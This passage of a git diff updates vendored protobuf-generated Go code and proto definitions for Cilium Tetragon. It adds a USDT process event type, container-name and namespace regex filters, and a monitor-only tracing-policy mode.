0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x4d, 0x61, 0x73, 0x6b, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, + 0x12, 0x33, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x46, 0x69, 0x65, 0x6c, + 0x64, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x10, 0x69, 0x6e, 0x76, 0x65, 0x72, 0x74, 0x5f, + 0x65, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x73, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x42, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x0e, 0x69, 0x6e, 0x76, + 0x65, 0x72, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x74, 0x22, 0xfd, 0x01, 0x0a, 0x10, + 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x2f, 0x0a, 0x0a, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x5f, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, + 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x52, 0x09, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x2d, 0x0a, 0x09, 0x64, 0x65, 0x6e, 0x79, 0x5f, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, + 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x52, 0x08, 0x64, 0x65, 0x6e, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x12, 0x4d, 0x0a, 0x13, 0x61, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x5f, + 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x41, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x12, 0x61, 0x67, 0x67, + 0x72, 0x65, 0x67, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x3a, 0x0a, 0x0d, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x5f, 0x66, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x73, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x52, 0x0c, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x73, 0x22, 0x80, 0x01, 0x0a, 0x12, + 0x41, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4f, 0x70, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x77, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x5f, 0x73, 0x69, 0x7a, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0a, 0x77, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x2e, + 0x0a, 0x13, 0x63, 0x68, 0x61, 0x6e, 0x6e, 0x65, 0x6c, 0x5f, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x5f, 0x73, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x11, 0x63, 0x68, 0x61, + 0x6e, 0x6e, 0x65, 0x6c, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x27, + 0x0a, 0x0f, 0x41, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x57, 0x0a, 0x0d, 0x52, 0x61, 0x74, 0x65, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x46, 0x0a, 0x20, 0x6e, 0x75, 0x6d, 0x62, + 0x65, 0x72, 0x5f, 0x6f, 0x66, 0x5f, 0x64, 0x72, 0x6f, 0x70, 0x70, 0x65, 0x64, 0x5f, 0x70, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x1c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x4f, 0x66, 0x44, 0x72, 0x6f, 0x70, + 0x70, 0x65, 0x64, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, + 0x22, 0x55, 0x0a, 0x0f, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x68, 0x72, 0x6f, 0x74, + 0x74, 0x6c, 0x65, 0x12, 0x2a, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x68, 0x72, + 0x6f, 0x74, 0x74, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x22, 0xac, 0x08, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x45, + 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, + 0x0c, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x65, 0x78, 0x65, 0x63, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x78, 0x65, 0x63, 0x48, 0x00, 0x52, 0x0b, 0x70, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x78, 0x65, 0x63, 0x12, 0x3a, 0x0a, 0x0c, 0x70, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x5f, 0x65, 0x78, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x15, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x45, 0x78, 0x69, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x45, 0x78, 0x69, 0x74, 0x12, 0x40, 0x0a, 0x0e, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x5f, 0x6b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x48, 0x00, 0x52, 0x0d, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x12, 0x4c, 0x0a, 0x12, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x5f, 0x74, 0x72, 0x61, 0x63, 0x65, 0x70, 0x6f, 0x69, 0x6e, 0x74, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x72, 0x61, 0x63, 0x65, 0x70, 0x6f, 0x69, 0x6e, 0x74, + 0x48, 0x00, 0x52, 0x11, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x72, 0x61, 0x63, 0x65, + 0x70, 0x6f, 0x69, 0x6e, 0x74, 0x12, 0x40, 0x0a, 0x0e, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x5f, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x48, 0x00, 0x52, 0x0d, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0e, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x5f, 0x75, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x55, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x48, 0x00, 0x52, 0x0d, 0x70, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x55, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x12, 0x46, 0x0a, 0x10, 0x70, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x5f, 0x74, 0x68, 0x72, 0x6f, 0x74, 0x74, 0x6c, 0x65, 0x18, 0x1b, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x68, 0x72, 0x6f, 0x74, 0x74, 0x6c, 0x65, 0x48, 0x00, + 0x52, 0x0f, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x68, 0x72, 0x6f, 0x74, 0x74, 0x6c, + 0x65, 0x12, 0x37, 0x0a, 0x0b, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x6c, 0x73, 0x6d, + 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x73, 0x6d, 0x48, 0x00, 0x52, 0x0a, + 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x73, 0x6d, 0x12, 0x3a, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x75, 0x73, 0x64, 0x74, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x15, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x55, 0x73, 0x64, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x55, 0x73, 0x64, 0x74, 0x12, 0x26, 0x0a, 0x04, 0x74, 0x65, 0x73, 0x74, 0x18, 0xc0, + 0xb8, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x54, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x04, 0x74, 0x65, 0x73, 0x74, 0x12, 0x43, + 0x0a, 0x0f, 0x72, 0x61, 0x74, 0x65, 0x5f, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x5f, 0x69, 0x6e, 0x66, + 0x6f, 0x18, 0xc1, 0xb8, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x61, 0x74, 0x65, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x49, 0x6e, + 0x66, 0x6f, 0x48, 0x00, 0x52, 0x0d, 0x72, 0x61, 0x74, 0x65, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x6f, 0x64, 0x65, 0x5f, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0xe8, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x6e, 0x6f, 0x64, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2f, 0x0a, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x18, 0xe9, 0x07, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x04, 0x74, 0x69, + 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x10, 0x61, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x5f, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0xea, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x41, 0x67, 0x67, 0x72, 0x65, 0x67, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x0f, 0x61, 0x67, 0x67, 0x72, 0x65, 0x67, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6c, 0x75, + 0x73, 0x74, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0xeb, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x4d, 0x0a, + 0x0b, 0x6e, 0x6f, 0x64, 0x65, 0x5f, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x18, 0xec, 0x07, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, + 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x2e, 0x4e, 0x6f, 0x64, 0x65, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0a, 0x6e, 0x6f, 0x64, 0x65, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, + 0x4e, 0x6f, 0x64, 0x65, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x42, 0x07, 0x0a, 0x05, 0x65, + 0x76, 0x65, 0x6e, 0x74, 0x4a, 0x04, 0x08, 0x02, 0x10, 0x05, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x09, + 0x4a, 0x04, 0x08, 0x0d, 0x10, 0x1b, 0x2a, 0xfc, 0x01, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x09, 0x0a, 0x05, 0x55, 0x4e, 0x44, 0x45, 0x46, 0x10, 0x00, 0x12, + 0x10, 0x0a, 0x0c, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x45, 0x58, 0x45, 0x43, 0x10, + 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x45, 0x58, 0x49, + 0x54, 0x10, 0x05, 0x12, 0x12, 0x0a, 0x0e, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x4b, + 0x50, 0x52, 0x4f, 0x42, 0x45, 0x10, 0x09, 0x12, 0x16, 0x0a, 0x12, 0x50, 0x52, 0x4f, 0x43, 0x45, + 0x53, 0x53, 0x5f, 0x54, 0x52, 0x41, 0x43, 0x45, 0x50, 0x4f, 0x49, 0x4e, 0x54, 0x10, 0x0a, 0x12, + 0x12, 0x0a, 0x0e, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x4c, 0x4f, 0x41, 0x44, 0x45, + 0x52, 0x10, 0x0b, 0x12, 0x12, 0x0a, 0x0e, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x55, + 0x50, 0x52, 0x4f, 0x42, 0x45, 0x10, 0x0c, 0x12, 0x14, 0x0a, 0x10, 0x50, 0x52, 0x4f, 0x43, 0x45, + 0x53, 0x53, 0x5f, 0x54, 0x48, 0x52, 0x4f, 0x54, 0x54, 0x4c, 0x45, 0x10, 0x1b, 0x12, 0x0f, 0x0a, + 0x0b, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x4c, 0x53, 0x4d, 0x10, 0x1c, 0x12, 0x10, + 0x0a, 0x0c, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x55, 0x53, 0x44, 0x54, 0x10, 0x1d, + 0x12, 0x0a, 0x0a, 0x04, 0x54, 0x45, 0x53, 0x54, 0x10, 0xc0, 0xb8, 0x02, 0x12, 0x15, 0x0a, 0x0f, + 0x52, 0x41, 0x54, 0x45, 0x5f, 0x4c, 0x49, 0x4d, 0x49, 0x54, 0x5f, 0x49, 0x4e, 0x46, 0x4f, 0x10, + 0xc1, 0xb8, 0x02, 0x22, 0x04, 0x08, 0x02, 0x10, 0x04, 0x22, 0x04, 0x08, 0x06, 0x10, 0x08, 0x22, + 0x04, 0x08, 0x0d, 0x10, 0x1a, 0x2a, 0x2d, 0x0a, 0x11, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x46, 0x69, + 0x6c, 0x74, 0x65, 0x72, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, + 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, + 0x44, 0x45, 0x10, 0x01, 0x2a, 0x4b, 0x0a, 0x0c, 0x54, 0x68, 0x72, 0x6f, 0x74, 0x74, 0x6c, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x10, 0x54, 0x48, 0x52, 0x4f, 0x54, 0x54, 0x4c, 0x45, + 0x5f, 0x55, 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x54, 0x48, + 0x52, 0x4f, 0x54, 0x54, 0x4c, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x52, 0x54, 0x10, 0x01, 0x12, 0x11, + 0x0a, 0x0d, 0x54, 0x48, 0x52, 0x4f, 0x54, 0x54, 0x4c, 0x45, 0x5f, 0x53, 0x54, 0x4f, 0x50, 0x10, + 0x02, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x62, + 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1507,8 +1557,9 @@ var file_tetragon_events_proto_goTypes = []any{ (*ProcessLoader)(nil), // 23: tetragon.ProcessLoader (*ProcessUprobe)(nil), // 24: tetragon.ProcessUprobe (*ProcessLsm)(nil), // 25: tetragon.ProcessLsm - (*Test)(nil), // 26: tetragon.Test - (*timestamppb.Timestamp)(nil), // 27: google.protobuf.Timestamp + (*ProcessUsdt)(nil), // 26: tetragon.ProcessUsdt + (*Test)(nil), // 27: tetragon.Test + (*timestamppb.Timestamp)(nil), // 28: google.protobuf.Timestamp } var file_tetragon_events_proto_depIdxs = []int32{ 15, // 0: tetragon.Filter.health_check:type_name -> google.protobuf.BoolValue @@ -1541,16 +1592,17 @@ var file_tetragon_events_proto_depIdxs = []int32{ 24, // 27: tetragon.GetEventsResponse.process_uprobe:type_name -> tetragon.ProcessUprobe 12, // 28: tetragon.GetEventsResponse.process_throttle:type_name -> tetragon.ProcessThrottle 25, // 29: tetragon.GetEventsResponse.process_lsm:type_name -> tetragon.ProcessLsm - 26, // 30: tetragon.GetEventsResponse.test:type_name -> tetragon.Test - 11, // 31: tetragon.GetEventsResponse.rate_limit_info:type_name -> tetragon.RateLimitInfo - 27, // 32: tetragon.GetEventsResponse.time:type_name -> google.protobuf.Timestamp - 10, // 33: tetragon.GetEventsResponse.aggregation_info:type_name -> tetragon.AggregationInfo - 14, // 34: tetragon.GetEventsResponse.node_labels:type_name -> tetragon.GetEventsResponse.NodeLabelsEntry - 35, // [35:35] is the sub-list for method output_type - 35, // [35:35] is the sub-list for method input_type - 35, // [35:35] is the sub-list for extension type_name - 35, // [35:35] is the sub-list for extension extendee - 0, // [0:35] is the sub-list for field type_name + 26, // 30: tetragon.GetEventsResponse.process_usdt:type_name -> tetragon.ProcessUsdt + 27, // 31: tetragon.GetEventsResponse.test:type_name -> tetragon.Test + 11, // 32: tetragon.GetEventsResponse.rate_limit_info:type_name -> tetragon.RateLimitInfo + 28, // 33: tetragon.GetEventsResponse.time:type_name -> google.protobuf.Timestamp + 10, // 34: tetragon.GetEventsResponse.aggregation_info:type_name -> tetragon.AggregationInfo + 14, // 35: tetragon.GetEventsResponse.node_labels:type_name -> tetragon.GetEventsResponse.NodeLabelsEntry + 36, // [36:36] is the sub-list for method output_type + 36, // [36:36] is the sub-list for method input_type + 36, // [36:36] is the sub-list for extension type_name + 36, // [36:36] is the sub-list for extension extendee + 0, // [0:36] is the sub-list for field type_name } func init() { file_tetragon_events_proto_init() } @@ -1569,6 +1621,7 @@ func file_tetragon_events_proto_init() { (*GetEventsResponse_ProcessUprobe)(nil), (*GetEventsResponse_ProcessThrottle)(nil), (*GetEventsResponse_ProcessLsm)(nil), + (*GetEventsResponse_ProcessUsdt)(nil), (*GetEventsResponse_Test)(nil), (*GetEventsResponse_RateLimitInfo)(nil), } diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.proto b/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.proto index 7d484b36..af17e6ce 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.proto +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.proto @@ -30,6 +30,7 @@ enum EventType { PROCESS_UPROBE = 12; PROCESS_THROTTLE = 27; PROCESS_LSM = 28; + PROCESS_USDT = 29; TEST = 40000; RATE_LIMIT_INFO = 40001; @@ -79,6 +80,12 @@ message Filter { google.protobuf.BoolValue in_init_tree = 16; // Filter ancestor processes' binaries using RE2 regular expression syntax. repeated string ancestor_binary_regex = 17; + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string container_name_regex = 18; + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string namespace_regex = 19; } // Filter over a set of Linux process capabilities. See `message Capabilities` @@ -208,6 +215,7 @@ message GetEventsResponse { ProcessUprobe process_uprobe = 12; ProcessThrottle process_throttle = 27; ProcessLsm process_lsm = 28; + ProcessUsdt process_usdt = 29; Test test = 40000; RateLimitInfo rate_limit_info = 40001; diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.go index 2471e85f..85b097c0 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.go @@ -12,6 +12,7 @@ package tetragon import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + anypb "google.golang.org/protobuf/types/known/anypb" wrapperspb "google.golang.org/protobuf/types/known/wrapperspb" reflect "reflect" sync "sync" @@ -95,9 +96,10 @@ func (TracingPolicyState) EnumDescriptor() ([]byte, []int) { type TracingPolicyMode int32 const ( - TracingPolicyMode_TP_MODE_UNKNOWN TracingPolicyMode = 0 - TracingPolicyMode_TP_MODE_ENFORCE TracingPolicyMode = 1 - TracingPolicyMode_TP_MODE_MONITOR TracingPolicyMode = 2 + TracingPolicyMode_TP_MODE_UNKNOWN TracingPolicyMode = 0 + TracingPolicyMode_TP_MODE_ENFORCE TracingPolicyMode = 1 + TracingPolicyMode_TP_MODE_MONITOR TracingPolicyMode = 2 + TracingPolicyMode_TP_MODE_MONITOR_ONLY TracingPolicyMode = 3 ) // Enum value maps for TracingPolicyMode. @@ -106,11 +108,13 @@ var ( 0: "TP_MODE_UNKNOWN", 1: "TP_MODE_ENFORCE", 2: "TP_MODE_MONITOR", + 3: "TP_MODE_MONITOR_ONLY", } TracingPolicyMode_value = 